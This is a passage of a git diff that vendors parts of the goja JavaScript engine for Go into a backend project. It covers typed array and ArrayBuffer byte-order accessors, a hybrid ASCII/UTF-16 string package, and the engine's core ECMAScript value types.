a.val.String()) + return false + } + + return true +} + +func (a *typedArrayObject) stringKeys(all bool, accum []Value) []Value { + if accum == nil { + accum = make([]Value, 0, a.length) + } + for i := 0; i < a.length; i++ { + accum = append(accum, asciiString(strconv.Itoa(i))) + } + return a.baseObject.stringKeys(all, accum) +} + +type typedArrayPropIter struct { + a *typedArrayObject + idx int +} + +func (i *typedArrayPropIter) next() (propIterItem, iterNextFunc) { + if i.idx < i.a.length { + name := strconv.Itoa(i.idx) + prop := i.a._getIdx(i.idx) + i.idx++ + return propIterItem{name: asciiString(name), value: prop}, i.next + } + + return i.a.baseObject.iterateStringKeys()() +} + +func (a *typedArrayObject) iterateStringKeys() iterNextFunc { + return (&typedArrayPropIter{ + a: a, + }).next +} + +func (a *typedArrayObject) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + if typ == typeBytes { + dst.Set(reflect.ValueOf(a.viewedArrayBuf.data[a.offset*a.elemSize : (a.offset+a.length)*a.elemSize])) + return nil + } + return a.baseObject.exportToArrayOrSlice(dst, typ, ctx) +} + +func (a *typedArrayObject) export(_ *objectExportCtx) interface{} { + return a.typedArray.export(a.offset, a.length) +} + +func (a *typedArrayObject) exportType() reflect.Type { + return a.typedArray.exportType() +} + +func (o *dataViewObject) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + if typ == typeBytes { + dst.Set(reflect.ValueOf(o.viewedArrayBuf.data[o.byteOffset : o.byteOffset+o.byteLen])) + return nil + } + return o.baseObject.exportToArrayOrSlice(dst, typ, ctx) +} + +func (r *Runtime) _newTypedArrayObject(buf *arrayBufferObject, offset, length, elemSize int, defCtor *Object, arr typedArray, proto *Object) *typedArrayObject { + o := &Object{runtime: r} + a := &typedArrayObject{ + baseObject: baseObject{ + val: o, + class: classObject, + prototype: proto, + extensible: true, + }, + viewedArrayBuf: buf, + offset: offset, + length: length, + elemSize: elemSize, + defaultCtor: defCtor, + typedArray: arr, + } + o.self = a + a.init() + return a + +} + +func (r *Runtime) newUint8ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + // Note, no need to use r.getUint8Array() here or in the similar methods below, because the value is already set + // by the time they are called. + return r._newTypedArrayObject(buf, offset, length, 1, r.global.Uint8Array, (*uint8Array)(&buf.data), proto) +} + +func (r *Runtime) newUint8ClampedArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 1, r.global.Uint8ClampedArray, (*uint8ClampedArray)(&buf.data), proto) +} + +func (r *Runtime) newInt8ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 1, r.global.Int8Array, (*int8Array)(&buf.data), proto) +} + +func (r *Runtime) newUint16ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 2, r.global.Uint16Array, (*uint16Array)(&buf.data), proto) +} + +func (r *Runtime) newInt16ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 2, r.global.Int16Array, (*int16Array)(&buf.data), proto) +} + +func (r *Runtime) newUint32ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 4, r.global.Uint32Array, (*uint32Array)(&buf.data), proto) +} + +func (r *Runtime) newInt32ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 4, r.global.Int32Array, (*int32Array)(&buf.data), proto) +} + +func (r *Runtime) newFloat32ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 4, r.global.Float32Array, (*float32Array)(&buf.data), proto) +} + +func (r *Runtime) newFloat64ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 8, r.global.Float64Array, (*float64Array)(&buf.data), proto) +} + +func (r *Runtime) newBigInt64ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 8, r.global.BigInt64Array, (*bigInt64Array)(&buf.data), proto) +} + +func (r *Runtime) newBigUint64ArrayObject(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject { + return r._newTypedArrayObject(buf, offset, length, 8, r.global.BigUint64Array, (*bigUint64Array)(&buf.data), proto) +} + +func (o *dataViewObject) getIdxAndByteOrder(getIdx int, littleEndianVal Value, size int) (int, byteOrder) { + o.viewedArrayBuf.ensureNotDetached(true) + if getIdx+size > o.byteLen { + panic(o.val.runtime.newError(o.val.runtime.getRangeError(), "Index %d is out of bounds", getIdx)) + } + getIdx += o.byteOffset + var bo byteOrder + if littleEndianVal != nil { + if littleEndianVal.ToBoolean() { + bo = littleEndian + } else { + bo = bigEndian + } + } else { + bo = nativeEndian + } + return getIdx, bo +} + +func (o *arrayBufferObject) ensureNotDetached(throw bool) bool { + if o.detached { + o.val.runtime.typeErrorResult(throw, "ArrayBuffer is detached") + return false + } + return true +} + +func (o *arrayBufferObject) getFloat32(idx int, byteOrder byteOrder) float32 { + return math.Float32frombits(o.getUint32(idx, byteOrder)) +} + +func (o *arrayBufferObject) setFloat32(idx int, val float32, byteOrder byteOrder) { + o.setUint32(idx, math.Float32bits(val), byteOrder) +} + +func (o *arrayBufferObject) getFloat64(idx int, byteOrder byteOrder) float64 { + return math.Float64frombits(o.getUint64(idx, byteOrder)) +} + +func (o *arrayBufferObject) setFloat64(idx int, val float64, byteOrder byteOrder) { + o.setUint64(idx, math.Float64bits(val), byteOrder) +} + +func (o *arrayBufferObject) getUint64(idx int, byteOrder byteOrder) uint64 { + var b []byte + if byteOrder == nativeEndian { + b = o.data[idx : idx+8] + } else { + b = make([]byte, 8) + d := o.data[idx : idx+8] + b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7] = d[7], d[6], d[5], d[4], d[3], d[2], d[1], d[0] + } + return *((*uint64)(unsafe.Pointer(&b[0]))) +} + +func (o *arrayBufferObject) setUint64(idx int, val uint64, byteOrder byteOrder) { + if byteOrder == nativeEndian { + *(*uint64)(unsafe.Pointer(&o.data[idx])) = val + } else { + b := (*[8]byte)(unsafe.Pointer(&val)) + d := o.data[idx : idx+8] + d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7] = b[7], b[6], b[5], b[4], b[3], b[2], b[1], b[0] + } +} + +func (o *arrayBufferObject) getUint32(idx int, byteOrder byteOrder) uint32 { + var b []byte + if byteOrder == nativeEndian { + b = o.data[idx : idx+4] + } else { + b = make([]byte, 4) + d := o.data[idx : idx+4] + b[0], b[1], b[2], b[3] = d[3], d[2], d[1], d[0] + } + return *((*uint32)(unsafe.Pointer(&b[0]))) +} + +func (o *arrayBufferObject) setUint32(idx int, val uint32, byteOrder byteOrder) { + o.ensureNotDetached(true) + if byteOrder == nativeEndian { + *(*uint32)(unsafe.Pointer(&o.data[idx])) = val + } else { + b := (*[4]byte)(unsafe.Pointer(&val)) + d := o.data[idx : idx+4] + d[0], d[1], d[2], d[3] = b[3], b[2], b[1], b[0] + } +} + +func (o *arrayBufferObject) getBigInt64(idx int, byteOrder byteOrder) *big.Int { + var b []byte + if byteOrder == nativeEndian { + b = o.data[idx : idx+8] + } else { + b = make([]byte, 8) + d := o.data[idx : idx+8] + b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7] = d[7], d[6], d[5], d[4], d[3], d[2], d[1], d[0] + } + return big.NewInt(*((*int64)(unsafe.Pointer(&b[0])))) +} + +func (o *arrayBufferObject) getBigUint64(idx int, byteOrder byteOrder) *big.Int { + var b []byte + if byteOrder == nativeEndian { + b = o.data[idx : idx+8] + } else { + b = make([]byte, 8) + d := o.data[idx : idx+8] + b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7] = d[7], d[6], d[5], d[4], d[3], d[2], d[1], d[0] + } + return new(big.Int).SetUint64(*((*uint64)(unsafe.Pointer(&b[0])))) +} + +func (o *arrayBufferObject) setBigInt64(idx int, val *big.Int, byteOrder byteOrder) { + if byteOrder == nativeEndian { + *(*int64)(unsafe.Pointer(&o.data[idx])) = val.Int64() + } else { + n := val.Int64() + b := (*[8]byte)(unsafe.Pointer(&n)) + d := o.data[idx : idx+8] + d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7] = b[7], b[6], b[5], b[4], b[3], b[2], b[1], b[0] + } +} + +func (o *arrayBufferObject) setBigUint64(idx int, val *big.Int, byteOrder byteOrder) { + if byteOrder == nativeEndian { + *(*uint64)(unsafe.Pointer(&o.data[idx])) = val.Uint64() + } else { + n := val.Uint64() + b := (*[8]byte)(unsafe.Pointer(&n)) + d := o.data[idx : idx+8] + d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7] = b[7], b[6], b[5], b[4], b[3], b[2], b[1], b[0] + } +} + +func (o *arrayBufferObject) getUint16(idx int, byteOrder byteOrder) uint16 { + var b []byte + if byteOrder == nativeEndian { + b = o.data[idx : idx+2] + } else { + b = make([]byte, 2) + d := o.data[idx : idx+2] + b[0], b[1] = d[1], d[0] + } + return *((*uint16)(unsafe.Pointer(&b[0]))) +} + +func (o *arrayBufferObject) setUint16(idx int, val uint16, byteOrder byteOrder) { + if byteOrder == nativeEndian { + *(*uint16)(unsafe.Pointer(&o.data[idx])) = val + } else { + b := (*[2]byte)(unsafe.Pointer(&val)) + d := o.data[idx : idx+2] + d[0], d[1] = b[1], b[0] + } +} + +func (o *arrayBufferObject) getUint8(idx int) uint8 { + return o.data[idx] +} + +func (o *arrayBufferObject) setUint8(idx int, val uint8) { + o.data[idx] = val +} + +func (o *arrayBufferObject) getInt32(idx int, byteOrder byteOrder) int32 { + return int32(o.getUint32(idx, byteOrder)) +} + +func (o *arrayBufferObject) setInt32(idx int, val int32, byteOrder byteOrder) { + o.setUint32(idx, uint32(val), byteOrder) +} + +func (o *arrayBufferObject) getInt16(idx int, byteOrder byteOrder) int16 { + return int16(o.getUint16(idx, byteOrder)) +} + +func (o *arrayBufferObject) setInt16(idx int, val int16, byteOrder byteOrder) { + o.setUint16(idx, uint16(val), byteOrder) +} + +func (o *arrayBufferObject) getInt8(idx int) int8 { + return int8(o.data[idx]) +} + +func (o *arrayBufferObject) setInt8(idx int, val int8) { + o.setUint8(idx, uint8(val)) +} + +func (o *arrayBufferObject) detach() { + o.data = nil + o.detached = true +} + +func (o *arrayBufferObject) exportType() reflect.Type { + return arrayBufferType +} + +func (o *arrayBufferObject) export(*objectExportCtx) interface{} { + return ArrayBuffer{ + buf: o, + } +} + +func (o *arrayBufferObject) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + if typ == typeBytes { + dst.Set(reflect.ValueOf(o.data)) + return nil + } + return o.baseObject.exportToArrayOrSlice(dst, typ, ctx) +} + +func (r *Runtime) _newArrayBuffer(proto *Object, o *Object) *arrayBufferObject { + if o == nil { + o = &Object{runtime: r} + } + b := &arrayBufferObject{ + baseObject: baseObject{ + class: classObject, + val: o, + prototype: proto, + extensible: true, + }, + } + o.self = b + b.init() + return b +} + +func init() { + buf := [2]byte{} + *(*uint16)(unsafe.Pointer(&buf[0])) = uint16(0xCAFE) + + switch buf { + case [2]byte{0xFE, 0xCA}: + nativeEndian = littleEndian + case [2]byte{0xCA, 0xFE}: + nativeEndian = bigEndian + default: + panic("Could not determine native endianness.") + } +} diff --git a/backend/vendor/github.com/dop251/goja/unistring/string.go b/backend/vendor/github.com/dop251/goja/unistring/string.go new file mode 100644 index 0000000..4628299 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/unistring/string.go @@ -0,0 +1,137 @@ +// Package unistring contains an implementation of a hybrid ASCII/UTF-16 string. +// For ASCII strings the underlying representation is equivalent to a normal Go string. +// For unicode strings the underlying representation is UTF-16 as []uint16 with 0th element set to 0xFEFF. +// unicode.String allows representing malformed UTF-16 values (e.g. stand-alone parts of surrogate pairs) +// which cannot be represented in UTF-8. +// At the same time it is possible to use unicode.String as property keys just as efficiently as simple strings, +// (the leading 0xFEFF ensures there is no clash with ASCII string), and it is possible to convert it +// to valueString without extra allocations. +package unistring + +import ( + "reflect" + "unicode/utf16" + "unicode/utf8" + "unsafe" +) + +const ( + BOM = 0xFEFF +) + +type String string + +// Scan checks if the string contains any unicode characters. If it does, converts to an array suitable for creating +// a String using FromUtf16, otherwise returns nil. +func Scan(s string) []uint16 { + utf16Size := 0 + for ; utf16Size < len(s); utf16Size++ { + if s[utf16Size] >= utf8.RuneSelf { + goto unicode + } + } + return nil +unicode: + for _, chr := range s[utf16Size:] { + utf16Size++ + if chr > 0xFFFF { + utf16Size++ + } + } + + buf := make([]uint16, utf16Size+1) + buf[0] = BOM + c := 1 + for _, chr := range s { + if chr <= 0xFFFF { + buf[c] = uint16(chr) + } else { + first, second := utf16.EncodeRune(chr) + buf[c] = uint16(first) + c++ + buf[c] = uint16(second) + } + c++ + } + + return buf +} + +func NewFromString(s string) String { + if buf := Scan(s); buf != nil { + return FromUtf16(buf) + } + return String(s) +} + +func NewFromRunes(s []rune) String { + ascii := true + size := 0 + for _, c := range s { + if c >= utf8.RuneSelf { + ascii = false + if c > 0xFFFF { + size++ + } + } + size++ + } + if ascii { + return String(s) + } + b := make([]uint16, size+1) + b[0] = BOM + i := 1 + for _, c := range s { + if c <= 0xFFFF { + b[i] = uint16(c) + } else { + first, second := utf16.EncodeRune(c) + b[i] = uint16(first) + i++ + b[i] = uint16(second) + } + i++ + } + return FromUtf16(b) +} + +func FromUtf16(b []uint16) String { + var str string + hdr := (*reflect.StringHeader)(unsafe.Pointer(&str)) + hdr.Data = uintptr(unsafe.Pointer(&b[0])) + hdr.Len = len(b) * 2 + + return String(str) +} + +func (s String) String() string { + if b := s.AsUtf16(); b != nil { + return string(utf16.Decode(b[1:])) + } + + return string(s) +} + +func (s String) AsUtf16() []uint16 { + if len(s) < 4 || len(s)&1 != 0 { + return nil + } + + var a []uint16 + raw := string(s) + + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&a)) + sliceHeader.Data = (*reflect.StringHeader)(unsafe.Pointer(&raw)).Data + + l := len(raw) / 2 + + sliceHeader.Len = l + sliceHeader.Cap = l + + if a[0] == BOM { + return a + } + + return nil +} diff --git a/backend/vendor/github.com/dop251/goja/value.go b/backend/vendor/github.com/dop251/goja/value.go new file mode 100644 index 0000000..e8c36fc --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/value.go @@ -0,0 +1,1199 @@ +package goja + +import ( + "fmt" + "hash/maphash" + "math" + "math/big" + "reflect" + "strconv" + "unsafe" + + "github.com/dop251/goja/ftoa" + "github.com/dop251/goja/unistring" +) + +var ( + // Not goroutine-safe, do not use for anything other than package level init + pkgHasher maphash.Hash + + hashFalse = randomHash() + hashTrue = randomHash() + hashNull = randomHash() + hashUndef = randomHash() +) + +// Not goroutine-safe, do not use for anything other than package level init +func randomHash() uint64 { + pkgHasher.WriteByte(0) + return pkgHasher.Sum64() +} + +var ( + valueFalse Value = valueBool(false) + valueTrue Value = valueBool(true) + _null Value = valueNull{} + _NaN Value = valueFloat(math.NaN()) + _positiveInf Value = valueFloat(math.Inf(+1)) + _negativeInf Value = valueFloat(math.Inf(-1)) + _positiveZero Value = valueInt(0) + negativeZero = math.Float64frombits(0 | (1 << 63)) + _negativeZero Value = valueFloat(negativeZero) + _epsilon = valueFloat(2.2204460492503130808472633361816e-16) + _undefined Value = valueUndefined{} +) + +var ( + reflectTypeInt = reflect.TypeOf(int64(0)) + reflectTypeBool = reflect.TypeOf(false) + reflectTypeNil = reflect.TypeOf(nil) + reflectTypeFloat = reflect.TypeOf(float64(0)) + reflectTypeMap = reflect.TypeOf(map[string]interface{}{}) + reflectTypeArray = reflect.TypeOf([]interface{}{}) + reflectTypeArrayPtr = reflect.TypeOf((*[]interface{})(nil)) + reflectTypeString = reflect.TypeOf("") + reflectTypeFunc = reflect.TypeOf((func(FunctionCall) Value)(nil)) + reflectTypeCtor = reflect.TypeOf((func(ConstructorCall) *Object)(nil)) + reflectTypeError = reflect.TypeOf((*error)(nil)).Elem() +) + +var intCache [256]Value + +// Value represents an ECMAScript value. +// +// Export returns a "plain" Go value which type depends on the type of the Value. +// +// For integer numbers it's int64. +// +// For any other numbers (including Infinities, NaN and negative zero) it's float64. +// +// For string it's a string. Note that unicode strings are converted into UTF-8 with invalid code points replaced with utf8.RuneError. +// +// For boolean it's bool. +// +// For null and undefined it's nil. +// +// For Object it depends on the Object type, see Object.Export() for more details. +type Value interface { + ToInteger() int64 + toString() String + string() unistring.String + ToString() Value + String() string + ToFloat() float64 + ToNumber() Value + ToBoolean() bool + ToObject(*Runtime) *Object + SameAs(Value) bool + Equals(Value) bool + StrictEquals(Value) bool + Export() interface{} + ExportType() reflect.Type + + baseObject(r *Runtime) *Object + + hash(hasher *maphash.Hash) uint64 +} + +type valueContainer interface { + toValue(*Runtime) Value +} + +type typeError string +type rangeError string +type referenceError string +type syntaxError string + +type valueInt int64 +type valueFloat float64 +type valueBool bool +type valueNull struct{} +type valueUndefined struct { + valueNull +} + +// *Symbol is a Value containing ECMAScript Symbol primitive. Symbols must only be created +// using NewSymbol(). Zero values and copying of values (i.e. *s1 = *s2) are not permitted. +// Well-known Symbols can be accessed using Sym* package variables (SymIterator, etc...) +// Symbols can be shared by multiple Runtimes. +type Symbol struct { + h uintptr + desc String +} + +type valueUnresolved struct { + r *Runtime + ref unistring.String +} + +type memberUnresolved struct { + valueUnresolved +} + +type valueProperty struct { + value Value + writable bool + configurable bool + enumerable bool + accessor bool + getterFunc *Object + setterFunc *Object +} + +var ( + errAccessBeforeInit = referenceError("Cannot access a variable before initialization") + errAssignToConst = typeError("Assignment to constant variable.") + errMixBigIntType = typeError("Cannot mix BigInt and other types, use explicit conversions") +) + +func propGetter(o Value, v Value, r *Runtime) *Object { + if v == _undefined { + return nil + } + if obj, ok := v.(*Object); ok { + if _, ok := obj.self.assertCallable(); ok { + return obj + } + } + r.typeErrorResult(true, "Getter must be a function: %s", v.toString()) + return nil +} + +func propSetter(o Value, v Value, r *Runtime) *Object { + if v == _undefined { + return nil + } + if obj, ok := v.(*Object); ok { + if _, ok := obj.self.assertCallable(); ok { + return obj + } + } + r.typeErrorResult(true, "Setter must be a function: %s", v.toString()) + return nil +} + +func fToStr(num float64, mode ftoa.FToStrMode, prec int) string { + var buf1 [128]byte + return string(ftoa.FToStr(num, mode, prec, buf1[:0])) +} + +func (i valueInt) ToInteger() int64 { + return int64(i) +} + +func (i valueInt) toString() String { + return asciiString(i.String()) +} + +func (i valueInt) string() unistring.String { + return unistring.String(i.String()) +} + +func (i valueInt) ToString() Value { + return i +} + +func (i valueInt) String() string { + return strconv.FormatInt(int64(i), 10) +} + +func (i valueInt) ToFloat() float64 { + return float64(i) +} + +func (i valueInt) ToBoolean() bool { + return i != 0 +} + +func (i valueInt) ToObject(r *Runtime) *Object { + return r.newPrimitiveObject(i, r.getNumberPrototype(), classNumber) +} + +func (i valueInt) ToNumber() Value { + return i +} + +func (i valueInt) SameAs(other Value) bool { + return i == other +} + +func (i valueInt) Equals(other Value) bool { + switch o := other.(type) { + case valueInt: + return i == o + case *valueBigInt: + return (*big.Int)(o).Cmp(big.NewInt(int64(i))) == 0 + case valueFloat: + return float64(i) == float64(o) + case String: + return o.ToNumber().Equals(i) + case valueBool: + return int64(i) == o.ToInteger() + case *Object: + return i.Equals(o.toPrimitive()) + } + + return false +} + +func (i valueInt) StrictEquals(other Value) bool { + switch o := other.(type) { + case valueInt: + return i == o + case valueFloat: + return float64(i) == float64(o) + } + + return false +} + +func (i valueInt) baseObject(r *Runtime) *Object { + return r.getNumberPrototype() +} + +func (i valueInt) Export() interface{} { + return int64(i) +} + +func (i valueInt) ExportType() reflect.Type { + return reflectTypeInt +} + +func (i valueInt) hash(*maphash.Hash) uint64 { + return uint64(i) +} + +func (b valueBool) ToInteger() int64 { + if b { + return 1 + } + return 0 +} + +func (b valueBool) toString() String { + if b { + return stringTrue + } + return stringFalse +} + +func (b valueBool) ToString() Value { + return b +} + +func (b valueBool) String() string { + if b { + return "true" + } + return "false" +} + +func (b valueBool) string() unistring.String { + return unistring.String(b.String()) +} + +func (b valueBool) ToFloat() float64 { + if b { + return 1.0 + } + return 0 +} + +func (b valueBool) ToBoolean() bool { + return bool(b) +} + +func (b valueBool) ToObject(r *Runtime) *Object { + return r.newPrimitiveObject(b, r.getBooleanPrototype(), "Boolean") +} + +func (b valueBool) ToNumber() Value { + if b { + return valueInt(1) + } + return valueInt(0) +} + +func (b valueBool) SameAs(other Value) bool { + if other, ok := other.(valueBool); ok { + return b == other + } + return false +} + +func (b valueBool) Equals(other Value) bool { + if o, ok := other.(valueBool); ok { + return b == o + } + + if b { + return other.Equals(intToValue(1)) + } else { + return other.Equals(intToValue(0)) + } + +} + +func (b valueBool) StrictEquals(other Value) bool { + if other, ok := other.(valueBool); ok { + return b == other + } + return false +} + +func (b valueBool) baseObject(r *Runtime) *Object { + return r.getBooleanPrototype() +} + +func (b valueBool) Export() interface{} { + return bool(b) +} + +func (b valueBool) ExportType() reflect.Type { + return reflectTypeBool +} + +func (b valueBool) hash(*maphash.Hash) uint64 { + if b { + return hashTrue + } + + return hashFalse +} + +func (n valueNull) ToInteger() int64 { + return 0 +} + +func (n valueNull) toString() String { + return stringNull +} + +func (n valueNull) string() unistring.String { + return stringNull.string() +} + +func (n valueNull) ToString() Value { + return n +} + +func (n valueNull) String() string { + return "null" +} + +func (u valueUndefined) toString() String { + return stringUndefined +} + +func (u valueUndefined) ToString() Value { + return u +} + +func (u valueUndefined) String() string { + return "undefined" +} + +func (u valueUndefined) string() unistring.String { + return "undefined" +} + +func (u valueUndefined) ToNumber() Value { + return _NaN +} + +func (u valueUndefined) SameAs(other Value) bool { + _, same := other.(valueUndefined) + return same +} + +func (u valueUndefined) StrictEquals(other Value) bool { + _, same := other.(valueUndefined) + return same +} + +func (u valueUndefined) ToFloat() float64 { + return math.NaN() +} + +func (u valueUndefined) hash(*maphash.Hash) uint64 { + return hashUndef +} + +func (n valueNull) ToFloat() float64 { + return 0 +} + +func (n valueNull) ToBoolean() bool { + return false +} + +func (n valueNull) ToObject(r *Runtime) *Object { + r.typeErrorResult(true, "Cannot convert undefined or null to object") + return nil + //return r.newObject() +} + +func (n valueNull) ToNumber() Value { + return intToValue(0) +} + +func (n valueNull) SameAs(other Value) bool { + _, same := other.(valueNull) + return same +} + +func (n valueNull) Equals(other Value) bool { + switch other.(type) { + case valueUndefined, valueNull: + return true + } + return false +} + +func (n valueNull) StrictEquals(other Value) bool { + _, same := other.(valueNull) + return same +} + +func (n valueNull) baseObject(*Runtime) *Object { + return nil +} + +func (n valueNull) Export() interface{} { + return nil +} + +func (n valueNull) ExportType() reflect.Type { + return reflectTypeNil +} + +func (n valueNull) hash(*maphash.Hash) uint64 { + return hashNull +} + +func (p *valueProperty) ToInteger() int64 { + return 0 +} + +func (p *valueProperty) toString() String { + return stringEmpty +} + +func (p *valueProperty) string() unistring.String { + return "" +} + +func (p *valueProperty) ToString() Value { + return _undefined +} + +func (p *valueProperty) String() string { + return "" +} + +func (p *valueProperty) ToFloat() float64 { + return math.NaN() +} + +func (p *valueProperty) ToBoolean() bool { + return false +} + +func (p *valueProperty) ToObject(*Runtime) *Object { + return nil +} + +func (p *valueProperty) ToNumber() Value { + return nil +} + +func (p *valueProperty) isWritable() bool { + return p.writable || p.setterFunc != nil +} + +func (p *valueProperty) get(this Value) Value { + if p.getterFunc == nil { + if p.value != nil { + return p.value + } + return _undefined + } + call, _ := p.getterFunc.self.assertCallable() + return call(FunctionCall{ + This: this, + }) +} + +func (p *valueProperty) set(this, v Value) { + if p.setterFunc == nil { + p.value = v + return + } + call, _ := p.setterFunc.self.assertCallable() + call(FunctionCall{ + This: this, + Arguments: []Value{v}, + }) +} + +func (p *valueProperty) SameAs(other Value) bool { + if otherProp, ok := other.(*valueProperty); ok { + return p == otherProp + } + return false +} + +func (p *valueProperty) Equals(Value) bool { + return false +} + +func (p *valueProperty) StrictEquals(Value) bool { + return false +} + +func (p *valueProperty) baseObject(r *Runtime) *Object { + r.typeErrorResult(true, "BUG: baseObject() is called on valueProperty") // TODO error message + return nil +} + +func (p *valueProperty) Export() interface{} { + panic("Cannot export valueProperty") +} + +func (p *valueProperty) ExportType() reflect.Type { + panic("Cannot export valueProperty") +} + +func (p *valueProperty) hash(*maphash.Hash) uint64 { + panic("valueProperty should never be used in maps or sets") +} + +func floatToIntClip(n float64) int64 { + switch { + case math.IsNaN(n): + return 0 + case n >= math.MaxInt64: + return math.MaxInt64 + case n <= math.MinInt64: + return math.MinInt64 + } + return int64(n) +} + +func (f valueFloat) ToInteger() int64 { + return floatToIntClip(float64(f)) +} + +func (f valueFloat) toString() String { + return asciiString(f.String()) +} + +func (f valueFloat) string() unistring.String { + return unistring.String(f.String()) +} + +func (f valueFloat) ToString() Value { + return f +} + +func (f valueFloat) String() string { + return fToStr(float64(f), ftoa.ModeStandard, 0) +} + +func (f valueFloat) ToFloat() float64 { + return float64(f) +} + +func (f valueFloat) ToBoolean() bool { + return float64(f) != 0.0 && !math.IsNaN(float64(f)) +} + +func (f valueFloat) ToObject(r *Runtime) *Object { + return r.newPrimitiveObject(f, r.getNumberPrototype(), "Number") +} + +func (f valueFloat) ToNumber() Value { + return f +} + +func (f valueFloat) SameAs(other Value) bool { + switch o := other.(type) { + case valueFloat: + this := float64(f) + o1 := float64(o) + if math.IsNaN(this) && math.IsNaN(o1) { + return true + } else { + ret := this == o1 + if ret && this == 0 { + ret = math.Signbit(this) == math.Signbit(o1) + } + return ret + } + case valueInt: + this := float64(f) + ret := this == float64(o) + if ret && this == 0 { + ret = !math.Signbit(this) + } + return ret + } + + return false +} + +func (f valueFloat) Equals(other Value) bool { + switch o := other.(type) { + case valueFloat: + return f == o + case valueInt: + return float64(f) == float64(o) + case *valueBigInt: + if IsInfinity(f) || math.IsNaN(float64(f)) { + return false + } + if f := big.NewFloat(float64(f)); f.IsInt() { + i, _ := f.Int(nil) + return (*big.Int)(o).Cmp(i) == 0 + } + return false + case String, valueBool: + return float64(f) == o.ToFloat() + case *Object: + return f.Equals(o.toPrimitive()) + } + + return false +} + +func (f valueFloat) StrictEquals(other Value) bool { + switch o := other.(type) { + case valueFloat: + return f == o + case valueInt: + return float64(f) == float64(o) + } + + return false +} + +func (f valueFloat) baseObject(r *Runtime) *Object { + return r.getNumberPrototype() +} + +func (f valueFloat) Export() interface{} { + return float64(f) +} + +func (f valueFloat) ExportType() reflect.Type { + return reflectTypeFloat +} + +func (f valueFloat) hash(*maphash.Hash) uint64 { + if f == _negativeZero { + return 0 + } + return math.Float64bits(float64(f)) +} + +func (o *Object) ToInteger() int64 { + return o.toPrimitiveNumber().ToNumber().ToInteger() +} + +func (o *Object) toString() String { + return o.toPrimitiveString().toString() +} + +func (o *Object) string() unistring.String { + return o.toPrimitiveString().string() +} + +func (o *Object) ToString() Value { + return o.toPrimitiveString().ToString() +} + +func (o *Object) String() string { + return o.toPrimitiveString().String() +} + +func (o *Object) ToFloat() float64 { + return o.toPrimitiveNumber().ToFloat() +} + +func (o *Object) ToBoolean() bool { + return true +} + +func (o *Object) ToObject(*Runtime) *Object { + return o +} + +func (o *Object) ToNumber() Value { + return o.toPrimitiveNumber().ToNumber() +} + +func (o *Object) SameAs(other Value) bool { + return o.StrictEquals(other) +} + +func (o *Object) Equals(other Value) bool { + if other, ok := other.(*Object); ok { + return o == other || o.self.equal(other.self) + } + + switch o1 := other.(type) { + case valueInt, valueFloat, *valueBigInt, String, *Symbol: + return o.toPrimitive().Equals(other) + case valueBool: + return o.Equals(o1.ToNumber()) + } + + return false +} + +func (o *Object) StrictEquals(other Value) bool { + if other, ok := other.(*Object); ok { + return o == other || o != nil && other != nil && o.self.equal(other.self) + } + return false +} + +func (o *Object) baseObject(*Runtime) *Object { + return o +} + +// Export the Object to a plain Go type. +// If the Object is a wrapped Go value (created using ToValue()) returns the original value. +// +// If the Object is a class function, returns func(ConstructorCall) *Object. See the note about exceptions below. +// +// If the Object is a function, returns func(FunctionCall) Value. Note that exceptions thrown inside the function +// result in panics, which can also leave the Runtime in an unusable state. Therefore, these values should only +// be used inside another ES function implemented in Go. For calling a function from Go, use AssertFunction() or +// Runtime.ExportTo() as described in the README. +// +// For a Map, returns the list of entries as [][2]interface{}. +// +// For a Set, returns the list of elements as []interface{}. +// +// For a Proxy, returns Proxy. +// +// For a Promise, returns Promise. +// +// For a DynamicObject or a DynamicArray, returns the underlying handler. +// +// For typed arrays it returns a slice of the corresponding type backed by the original data (i.e. it does not copy). +// +// For an untyped array, returns its items exported into a newly created []interface{}. +// +// In all other cases returns own enumerable non-symbol properties as map[string]interface{}. +// +// This method will panic with an *Exception if a JavaScript exception is thrown in the process. Use Runtime.Try to catch these. +func (o *Object) Export() interface{} { + return o.self.export(&objectExportCtx{}) +} + +// ExportType returns the type of the value that is returned by Export(). +func (o *Object) ExportType() reflect.Type { + return o.self.exportType() +} + +func (o *Object) hash(*maphash.Hash) uint64 { + return o.getId() +} + +// Get an object's property by name. +// This method will panic with an *Exception if a JavaScript exception is thrown in the process. Use Runtime.Try to catch these. +func (o *Object) Get(name string) Value { + return o.self.getStr(unistring.NewFromString(name), nil) +} + +// GetSymbol returns the value of a symbol property. Use one of the Sym* values for well-known +// symbols (such as SymIterator, SymToStringTag, etc...). +// This method will panic with an *Exception if a JavaScript exception is thrown in the process. Use Runtime.Try to catch these. +func (o *Object) GetSymbol(sym *Symbol) Value { + return 